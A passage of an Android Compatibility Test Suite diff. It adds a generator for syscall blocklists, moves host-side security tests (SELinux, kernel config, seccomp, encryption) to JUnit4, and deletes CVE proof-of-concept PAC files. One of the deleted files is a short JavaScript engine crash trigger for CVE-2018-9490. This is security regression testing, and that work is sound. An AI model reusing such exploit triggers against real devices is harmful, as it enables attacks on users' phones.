+    'setuid': 'all',
+    'setuid32': 'x86,arm',
+    'swapoff': 'all',
+    'swapoff': 'all',
+    'swapon': 'all',
+    'swapon': 'all',
+    'syslog': 'all',
+    'umount2': 'all',
+}
+
+def create_syscall_name_to_number_map(arch, names):
+  arch_config = {
+      'arm': {
+          'uapi_class': 'asm-arm',
+          'extra_cflags': [],
+      },
+      'arm64': {
+          'uapi_class': 'asm-arm64',
+          'extra_cflags': [],
+      },
+      'x86': {
+          'uapi_class': 'asm-x86',
+          'extra_cflags': ['-D__i386__'],
+      },
+      'x86_64': {
+          'uapi_class': 'asm-x86',
+          'extra_cflags': [],
+      },
+      'mips': {
+          'uapi_class': 'asm-mips',
+          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI32'],
+      },
+      'mips64': {
+          'uapi_class': 'asm-mips',
+          'extra_cflags': ['-D_MIPS_SIM=_MIPS_SIM_ABI64'],
+      }
+  }
+
+  # Run preprocessor over the __NR_syscall symbols, including unistd.h,
+  # to get the actual numbers
+  # TODO: The following code is forked from bionic/libc/tools/genseccomp.py.
+  # Figure out if we can de-duplicate them crossing cts project boundary.
+  prefix = '__SECCOMP_'  # prefix to ensure no name collisions
+  kernel_uapi_path = os.path.join(os.getenv('ANDROID_BUILD_TOP'),
+                                  'bionic/libc/kernel/uapi')
+  cpp = subprocess.Popen(
+      [get_latest_clang_path(),
+       '-E', '-nostdinc',
+       '-I' + os.path.join(kernel_uapi_path,
+                           arch_config[arch]['uapi_class']),
+       '-I' + os.path.join(kernel_uapi_path)
+       ]
+      + arch_config[arch]['extra_cflags']
+      + ['-'],
+      universal_newlines=True,
+      stdin=subprocess.PIPE, stdout=subprocess.PIPE)
+  cpp.stdin.write('#include <asm/unistd.h>\n')
+  for name in names:
+    # In SYSCALLS.TXT, there are two arm-specific syscalls whose names start
+    # with __ARM__NR_. These we must simply write out as is.
+    if not name.startswith('__ARM_NR_'):
+      cpp.stdin.write(prefix + name + ', __NR_' + name + '\n')
+    else:
+      cpp.stdin.write(prefix + name + ', ' + name + '\n')
+  content = cpp.communicate()[0].split('\n')
+
+  # The input is now the preprocessed source file. This will contain a lot
+  # of junk from the preprocessor, but our lines will be in the format:
+  #
+  #     __SECCOMP_${NAME}, (0 + value)
+  syscalls = {}
+  for line in content:
+    if not line.startswith(prefix):
+      continue
+    # We might pick up extra whitespace during preprocessing, so best to strip.
+    name, value = [w.strip() for w in line.split(',')]
+    name = name[len(prefix):]
+    # Note that some of the numbers were expressed as base + offset, so we
+    # need to eval, not just int
+    value = eval(value)
+    if name in syscalls:
+      raise Exception('syscall %s is re-defined' % name)
+    syscalls[name] = value
+  return syscalls
+
+def get_latest_clang_path():
+  candidates = sorted(glob.glob(os.path.join(os.getenv('ANDROID_BUILD_TOP'),
+      'prebuilts/clang/host/linux-x86/clang-*')), reverse=True)
+  for clang_dir in candidates:
+    clang_exe = os.path.join(clang_dir, 'bin/clang')
+    if os.path.exists(clang_exe):
+      return clang_exe
+  raise FileNotFoundError('Cannot locate clang executable')
+
+def collect_syscall_names_for_arch(syscall_map, arch):
+  syscall_names = []
+  for syscall in syscall_map.keys():
+    if (arch in syscall_map[syscall] or
+        'all' == syscall_map[syscall]):
+      syscall_names.append(syscall)
+  return syscall_names
+
+def main():
+  parser = argparse.ArgumentParser('syscall name to number generator')
+  parser.add_argument('--allowed', metavar='path/to/json', type=str)
+  parser.add_argument('--blocked', metavar='path/to/json', type=str)
+  args = parser.parse_args()
+
+  allowed = {}
+  blocked = {}
+  for arch in _SUPPORTED_ARCHS:
+    blocked[arch] = create_syscall_name_to_number_map(
+        arch,
+        collect_syscall_names_for_arch(_SYSCALLS_BLOCKED_IN_CTS, arch))
+    allowed[arch] = create_syscall_name_to_number_map(
+        arch,
+        collect_syscall_names_for_arch(_SYSCALLS_ALLOWED_IN_CTS, arch))
+
+  msg_do_not_modify = '# DO NOT MODIFY.  CHANGE gen_blocklist.py INSTEAD.'
+  with open(args.allowed, 'w') as f:
+    print(msg_do_not_modify, file=f)
+    json.dump(allowed, f, sort_keys=True, indent=2)
+
+  with open(args.blocked, 'w') as f:
+    print(msg_do_not_modify, file=f)
+    json.dump(blocked, f, sort_keys=True, indent=2)
+
+if __name__ == '__main__':
+  main()
diff --git a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
index 0b0a84b..4124125 100644
--- a/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
+++ b/hostsidetests/security/src/android/security/cts/KernelConfigTest.java
@@ -16,25 +16,30 @@
 
 package android.security.cts;
 
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.CpuFeatures;
 import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.InputStreamReader;
-import java.lang.String;
-import java.util.stream.Collectors;
-import java.util.Set;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.Map;
+import java.util.Set;
+import java.util.stream.Collectors;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -42,7 +47,8 @@
  *
  * These tests analyze /proc/config.gz to verify that certain kernel config options are set.
  */
-public class KernelConfigTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class KernelConfigTest extends BaseHostJUnit4Test {
 
     private static final Map<ITestDevice, HashSet<String>> cachedConfigGzSet = new HashMap<>(1);
 
@@ -51,26 +57,12 @@
     private ITestDevice mDevice;
     private IBuildInfo mBuild;
 
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mBuild = build;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        super.setDevice(device);
-        mDevice = device;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        // Assumes every test in this file asserts a requirement of CDD section 9.
+        assumeSecurityModelCompat();
+        mDevice = getDevice();
+        mBuild = getBuild();
         configSet = getDeviceConfig(mDevice, cachedConfigGzSet);
     }
 
@@ -110,6 +102,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testConfigStackProtectorStrong() throws Exception {
         assertTrue("Linux kernel must have Stack Protector enabled: " +
                 "CONFIG_STACKPROTECTOR_STRONG=y or CONFIG_CC_STACKPROTECTOR_STRONG=y",
@@ -124,6 +117,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testConfigROData() throws Exception {
         if (configSet.contains("CONFIG_UH_RKP=y"))
             return;
@@ -148,6 +142,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testConfigHardenedUsercopy() throws Exception {
         if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
             return;
@@ -163,6 +158,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testConfigPAN() throws Exception {
         if (PropertyUtil.getFirstApiLevel(mDevice) < 28) {
             return;
@@ -311,6 +307,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testConfigHardwareMitigations() throws Exception {
         String mitigations[];
 
@@ -339,6 +336,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testConfigDisableUsermodehelper() throws Exception {
         if (PropertyUtil.getFirstApiLevel(mDevice) < 30) {
             return;
@@ -394,6 +392,7 @@
      * Test that the kernel enables fs-verity and its built-in signature support.
      */
     @CddTest(requirement="9.10")
+    @Test
     public void testConfigFsVerity() throws Exception {
         if (PropertyUtil.getFirstApiLevel(mDevice) < 30 &&
                 PropertyUtil.getPropertyInt(mDevice, "ro.apk_verity.mode") != 2) {
@@ -405,4 +404,9 @@
                 + "CONFIG_FS_VERITY_BUILTIN_SIGNATURES=y",
                 configSet.contains("CONFIG_FS_VERITY_BUILTIN_SIGNATURES=y"));
     }
+
+    private void assumeSecurityModelCompat() throws Exception {
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
index 92eafe3..f399d7b 100644
--- a/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
+++ b/hostsidetests/security/src/android/security/cts/MetadataEncryptionTest.java
@@ -16,26 +16,30 @@
 
 package android.security.cts;
 
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IDeviceTest;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Host-side test for metadata encryption.  This is a host-side test because
  * the "ro.crypto.metadata.enabled" property is not exposed to apps.
  */
-public class MetadataEncryptionTest extends DeviceTestCase implements IDeviceTest {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class MetadataEncryptionTest extends BaseHostJUnit4Test {
     private ITestDevice mDevice;
 
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        super.setDevice(device);
-        mDevice = device;
+    @Before
+    public void setUp() throws Exception {
+        mDevice = getDevice();
     }
 
     /**
@@ -46,11 +50,18 @@
      * @throws Exception
      */
     @CddTest(requirement="9.9.3/C-1-5")
+    @Test
     public void testMetadataEncryptionIsEnabled() throws Exception {
+        assumeSecurityModelCompat();
         if (PropertyUtil.getFirstApiLevel(mDevice) <= 29) {
           return; // Requirement does not apply to devices running Q or earlier
         }
         assertTrue("Metadata encryption must be enabled",
             mDevice.getBooleanProperty("ro.crypto.metadata.enabled", false));
     }
+
+    private void assumeSecurityModelCompat() throws Exception {
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
index e285d99..8db2be3 100644
--- a/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
+++ b/hostsidetests/security/src/android/security/cts/PerfEventParanoidTest.java
@@ -15,16 +15,25 @@
  */
 package android.security.cts;
 
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
 import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
-import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * Tests permission/security controls of the perf_event_open syscall.
  */
-public class PerfEventParanoidTest extends DeviceTestCase {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PerfEventParanoidTest extends BaseHostJUnit4Test {
 
     // A reference to the device under test.
     private ITestDevice mDevice;
@@ -34,14 +43,15 @@
 
     private static final int ANDROID_R_API_LEVEL = 30;
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
         mDevice = getDevice();
     }
 
     @CddTest(requirement="9.7")
+    @Test
     public void testPerfEventRestricted() throws DeviceNotAvailableException {
+        assumeSecurityModelCompat();
         // Property set to "1" if init detected that the kernel has the perf_event_open SELinux
         // hooks, otherwise left unset.
         long lsmHookPropValue = mDevice.getIntProperty(PERF_EVENT_LSM_SYSPROP, 0);
@@ -74,4 +84,9 @@
             }
         }
     }
+
+    private void assumeSecurityModelCompat() throws DeviceNotAvailableException {
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+    }
 }
diff --git a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
index 1f1772b..e670426 100644
--- a/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
+++ b/hostsidetests/security/src/android/security/cts/ProcessMustUseSeccompTest.java
@@ -130,6 +130,11 @@
         assertSeccompFilter("media.extractor", PS_CMD, false);
     }
 
+    public void testMediaSwcodecHasSeccompFilter() throws DeviceNotAvailableException {
+        // non-mainline devices might not have this process
+        assertSeccompFilter("media.swcodec", PS_CMD, false, false /* mustHaveProcess */);
+    }
+
     public void testOmxHalHasSeccompFilter() throws DeviceNotAvailableException {
         assertSeccompFilter("media.codec", PS_CMD, false);
     }
diff --git a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
index 707c1a0..8acb38f 100644
--- a/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
+++ b/hostsidetests/security/src/android/security/cts/SELinuxHostTest.java
@@ -16,33 +16,44 @@
 
 package android.security.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
 import android.platform.test.annotations.RestrictedBuildTest;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.compatibility.common.tradefed.targetprep.DeviceInfoCollector;
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.PropertyUtil;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IBuildReceiver;
-import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.FileUtil;
 
-import com.android.compatibility.common.util.CddTest;
+import org.json.JSONObject;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.w3c.dom.Document;
+import org.w3c.dom.Element;
 
 import java.io.BufferedReader;
 import java.io.ByteArrayOutputStream;
 import java.io.File;
-import java.io.FileReader;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
+import java.io.FileReader;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
-import java.lang.String;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collections;
@@ -50,18 +61,13 @@
 import java.util.HashSet;
 import java.util.List;
 import java.util.Map;
+import java.util.Set;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
-import java.util.Scanner;
-import java.util.Set;
 import java.util.stream.Collectors;
 
 import javax.xml.parsers.DocumentBuilder;
 import javax.xml.parsers.DocumentBuilderFactory;
-import org.w3c.dom.Document;
-import org.w3c.dom.Element;
-import org.json.JSONObject;
-
 
 /**
  * Host-side SELinux tests.
@@ -70,7 +76,8 @@
  * run as the shell user to evaluate aspects of the state of SELinux on the test
  * device which otherwise would not be available to a normal apk.
  */
-public class SELinuxHostTest extends DeviceTestCase implements IBuildReceiver, IDeviceTest {
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class SELinuxHostTest extends BaseHostJUnit4Test {
 
     // Keep in sync with AndroidTest.xml
     private static final String DEVICE_INFO_DEVICE_DIR = "/sdcard/device-info-files/";
@@ -117,23 +124,6 @@
      */
     private ITestDevice mDevice;
 
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setBuild(IBuildInfo build) {
-        mBuild = build;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public void setDevice(ITestDevice device) {
-        super.setDevice(device);
-        mDevice = device;
-    }
-
     public static File copyResourceToTempFile(String resName) throws IOException {
         InputStream is = SELinuxHostTest.class.getResourceAsStream(resName);
         File tempFile = File.createTempFile("SELinuxHostTest", ".tmp");
@@ -162,9 +152,13 @@
         }
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
+    @Before
+    public void setUp() throws Exception {
+        // Assumes every test in this file asserts a requirement of CDD section 9.
+        assumeSecurityModelCompat();
+
+        mDevice = getDevice();
+        mBuild = getBuild();
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
         sepolicyAnalyze = copyResourceToTempFile("/sepolicy-analyze");
         sepolicyAnalyze.setExecutable(true);
@@ -191,6 +185,11 @@
         }
     }
 
+    private void assumeSecurityModelCompat() throws Exception {
+        assumeTrue("Skipping test: FEATURE_SECURITY_MODEL_COMPATIBLE missing.",
+                getDevice().hasFeature("feature:android.hardware.security.model.compatible"));
+    }
+
     /*
      * IMPLEMENTATION DETAILS: We cache some host-side policy files on per-device basis (in case
      * CTS supports running against multiple devices at the same time). HashMap is used instead
@@ -388,6 +387,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testGlobalEnforcing() throws Exception {
         CollectingOutputReceiver out = new CollectingOutputReceiver();
         mDevice.executeShellCommand("cat /sys/fs/selinux/enforce", out);
@@ -401,6 +401,7 @@
      */
     @CddTest(requirement="9.7")
     @RestrictedBuildTest
+    @Test
     public void testAllDomainsEnforcing() throws Exception {
 
         /* run sepolicy-analyze permissive check on policy file */
@@ -516,6 +517,7 @@
      * Asserts that no HAL server domains are exempted from the prohibition of socket use with the
      * only exceptions for the automotive device type.
      */
+    @Test
     public void testNoExemptionsForSocketsUseWithinHalServer() throws Exception {
         if (!isFullTrebleDevice()) {
             return;
@@ -544,6 +546,7 @@
      * initiating socket communications between core and vendor domains. This attribute must not be
      * used on production Treble devices.
      */
+    @Test
     public void testNoExemptionsForSocketsBetweenCoreAndVendorBan() throws Exception {
         if (!isFullTrebleDevice()) {
             return;
@@ -564,6 +567,7 @@
      * Asserts that no vendor domains are exempted from the prohibition on directly
      * executing binaries from /system.
      * */
+    @Test
     public void testNoExemptionsForVendorExecutingCore() throws Exception {
         if (!isFullTrebleDevice()) {
             return;
@@ -589,6 +593,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testMLSAttributes() throws Exception {
         assertNotInAttribute("mlstrustedsubject", "untrusted_app");
         assertNotInAttribute("mlstrustedobject", "app_data_file");
@@ -600,6 +605,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testValidSeappContexts() throws Exception {
 
         /* obtain seapp_contexts file from running device */
@@ -668,6 +674,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testAospSeappContexts() throws Exception {
 
         /* obtain seapp_contexts file from running device */
@@ -689,6 +696,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testAospFileContexts() throws Exception {
 
         /* retrieve the checkfc executable from jar */
@@ -720,6 +728,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testAospPropertyContexts() throws Exception {
 
         /* obtain property_contexts file from running device */
@@ -745,6 +754,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testAospServiceContexts() throws Exception {
 
         /* obtain service_contexts file from running device */
@@ -766,6 +776,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testValidFileContexts() throws Exception {
 
         /* retrieve the checkfc executable from jar */
@@ -803,6 +814,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testValidPropertyContexts() throws Exception {
 
         /* retrieve the checkfc executable from jar */
@@ -842,6 +854,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testValidServiceContexts() throws Exception {
 
         /* retrieve the checkfc executable from jar */
@@ -944,6 +957,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testDataTypeViolators() throws Exception {
         assertSepolicyTests("TestDataTypeViolations", "/sepolicy_tests",
                 PropertyUtil.isVendorApiLevelNewerThan(mDevice, 27) /* includeVendorSepolicy */);
@@ -954,6 +968,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testProcTypeViolators() throws Exception {
         assertSepolicyTests("TestProcTypeViolations", "/sepolicy_tests",
                 PropertyUtil.isVendorApiLevelNewerThan(mDevice, 27) /* includeVendorSepolicy */);
@@ -964,6 +979,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testSysfsTypeViolators() throws Exception {
         assertSepolicyTests("TestSysfsTypeViolations", "/sepolicy_tests",
                 PropertyUtil.isVendorApiLevelNewerThan(mDevice, 27) /* includeVendorSepolicy */);
@@ -974,6 +990,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testVendorTypeViolators() throws Exception {
         assertSepolicyTests("TestVendorTypeViolations", "/sepolicy_tests",
                 PropertyUtil.isVendorApiLevelNewerThan(mDevice, 27) /* includeVendorSepolicy */);
@@ -986,6 +1003,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testCoredomainViolators() throws Exception {
         assertSepolicyTests("CoredomainViolations", "/treble_sepolicy_tests",
                 PropertyUtil.isVendorApiLevelNewerThan(mDevice, 27) /* includeVendorSepolicy */);
@@ -997,6 +1015,7 @@
      * @throws Exception
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testNoBooleans() throws Exception {
 
         /* run sepolicy-analyze booleans check on policy file */
@@ -1023,6 +1042,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testNoBugreportDenials() throws Exception {
         // Take a bugreport and get its logcat output.
         mDevice.executeAdbCommand("logcat", "-c");
@@ -1235,6 +1255,7 @@
 
     /* Init is always there */
     @CddTest(requirement="9.7")
+    @Test
     public void testInitDomain() throws DeviceNotAvailableException {
         assertDomainHasExecutable("u:r:init:s0", "/system/bin/init");
         assertDomainHasExecutable("u:r:vendor_init:s0", "/system/bin/init");
@@ -1243,96 +1264,112 @@
 
     /* Ueventd is always there */
     @CddTest(requirement="9.7")
+    @Test
     public void testUeventdDomain() throws DeviceNotAvailableException {
         assertDomainOne("u:r:ueventd:s0", "/system/bin/ueventd");
     }
 
     /* healthd may or may not exist */
     @CddTest(requirement="9.7")
+    @Test
     public void testHealthdDomain() throws DeviceNotAvailableException {
         assertDomainZeroOrOne("u:r:healthd:s0", "/system/bin/healthd");
     }
 
     /* Servicemanager is always there */
     @CddTest(requirement="9.7")
+    @Test
     public void testServicemanagerDomain() throws DeviceNotAvailableException {
         assertDomainOne("u:r:servicemanager:s0", "/system/bin/servicemanager");
     }
 
     /* Vold is always there */
     @CddTest(requirement="9.7")
+    @Test
     public void testVoldDomain() throws DeviceNotAvailableException {
         assertDomainOne("u:r:vold:s0", "/system/bin/vold");
     }
 
     /* netd is always there */
     @CddTest(requirement="9.7")
+    @Test
     public void testNetdDomain() throws DeviceNotAvailableException {
         assertDomainN("u:r:netd:s0", "/system/bin/netd", "/system/bin/iptables-restore", "/system/bin/ip6tables-restore");
     }
 
     /* Surface flinger is always there */
     @CddTest(requirement="9.7")
+    @Test
     public void testSurfaceflingerDomain() throws DeviceNotAvailableException {
         assertDomainOne("u:r:surfaceflinger:s0", "/system/bin/surfaceflinger");
     }
 
     /* Zygote is always running */
     @CddTest(requirement="9.7")
+    @Test
     public void testZygoteDomain() throws DeviceNotAvailableException {
         assertDomainN("u:r:zygote:s0", "zygote", "zygote64", "usap32", "usap64");
     }
 
     /* Checks drmserver for devices that require it */
     @CddTest(requirement="9.7")
+    @Test
     public void testDrmServerDomain() throws DeviceNotAvailableException {
         assertDomainZeroOrOne("u:r:drmserver:s0", "/system/bin/drmserver");
     }
 
     /* Installd is always running */
     @CddTest(requirement="9.7")
+    @Test
     public void testInstalldDomain() throws DeviceNotAvailableException {
         assertDomainOne("u:r:installd:s0", "/system/bin/installd");
     }
 
     /* keystore is always running */
     @CddTest(requirement="9.7")
+    @Test
     public void testKeystoreDomain() throws DeviceNotAvailableException {
         assertDomainOne("u:r:keystore:s0", "/system/bin/keystore");
     }
 
     /* System server better be running :-P */
     @CddTest(requirement="9.7")
+    @Test
     public void testSystemServerDomain() throws DeviceNotAvailableException {
         assertDomainOne("u:r:system_server:s0", "system_server");
     }
 
     /* Watchdogd may or may not be there */
     @CddTest(requirement="9.7")
+    @Test
     public void testWatchdogdDomain() throws DeviceNotAvailableException {
         assertDomainZeroOrOne("u:r:watchdogd:s0", "/system/bin/watchdogd");
     }
 
     /* logd may or may not be there */
     @CddTest(requirement="9.7")
+    @Test
     public void testLogdDomain() throws DeviceNotAvailableException {
         assertDomainZeroOrOne("u:r:logd:s0", "/system/bin/logd");
     }
 
     /* lmkd may or may not be there */
     @CddTest(requirement="9.7")
+    @Test
     public void testLmkdDomain() throws DeviceNotAvailableException {
         assertDomainZeroOrOne("u:r:lmkd:s0", "/system/bin/lmkd");
     }
 
     /* Wifi may be off so cardinality of 0 or 1 is ok */
     @CddTest(requirement="9.7")
+    @Test
     public void testWpaDomain() throws DeviceNotAvailableException {
         assertDomainZeroOrOne("u:r:wpa:s0", "/system/bin/wpa_supplicant");
     }
 
     /* permissioncontroller, if running, always runs in permissioncontroller_app */
     @CddTest(requirement="9.7")
+    @Test
     public void testPermissionControllerDomain() throws DeviceNotAvailableException {
         assertExecutableHasDomain("com.google.android.permissioncontroller", "u:r:permissioncontroller_app:s0");
         assertExecutableHasDomain("com.android.permissioncontroller", "u:r:permissioncontroller_app:s0");
@@ -1340,12 +1377,14 @@
 
     /* vzwomatrigger may or may not be running */
     @CddTest(requirement="9.7")
+    @Test
     public void testVzwOmaTriggerDomain() throws DeviceNotAvailableException {
         assertDomainZeroOrOne("u:r:vzwomatrigger_app:s0", "com.android.vzwomatrigger");
     }
 
     /* gmscore, if running, always runs in gmscore_app */
     @CddTest(requirement="9.7")
+    @Test
     public void testGMSCoreDomain() throws DeviceNotAvailableException {
         assertExecutableHasDomain("com.google.android.gms", "u:r:gmscore_app:s0");
         assertExecutableHasDomain("com.google.android.gms.ui", "u:r:gmscore_app:s0");
@@ -1358,6 +1397,7 @@
      * needed
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testInitShellDomain() throws DeviceNotAvailableException {
         assertDomainEmpty("u:r:init_shell:s0");
     }
@@ -1367,6 +1407,7 @@
      * needed
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testRecoveryDomain() throws DeviceNotAvailableException {
         assertDomainEmpty("u:r:recovery:s0");
     }
@@ -1377,6 +1418,7 @@
      */
     @CddTest(requirement="9.7")
     @RestrictedBuildTest
+    @Test
     public void testSuDomain() throws DeviceNotAvailableException {
         assertDomainEmpty("u:r:su:s0");
     }
@@ -1385,6 +1427,7 @@
      * All kthreads should be in kernel context.
      */
     @CddTest(requirement="9.7")
+    @Test
     public void testKernelDomain() throws DeviceNotAvailableException {
         String domain = "u:r:kernel:s0";
         List<ProcessDetails> procs = ProcessDetails.getProcMap(mDevice).get(domain);
diff --git a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac b/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
deleted file mode 100644
index 999518a..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2018-9490.pac
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-function FindProxyForURL(url, host){
-    alert("enter");
-    let arr = [];
-    arr[1000] = 0x1234;
-
-    arr.__defineGetter__(256, function () {
-            delete arr[256];
-            arr.unshift(1.1);
-            arr.length = 0;
-            });
-
-    Object.entries(arr).toString();
-    alert(JSON.stringify(entries));
-    return 0;
-}
diff --git a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac b/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
deleted file mode 100644
index a6b0166..0000000
--- a/hostsidetests/securitybulletin/res/CVE-2019-2045.pac
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
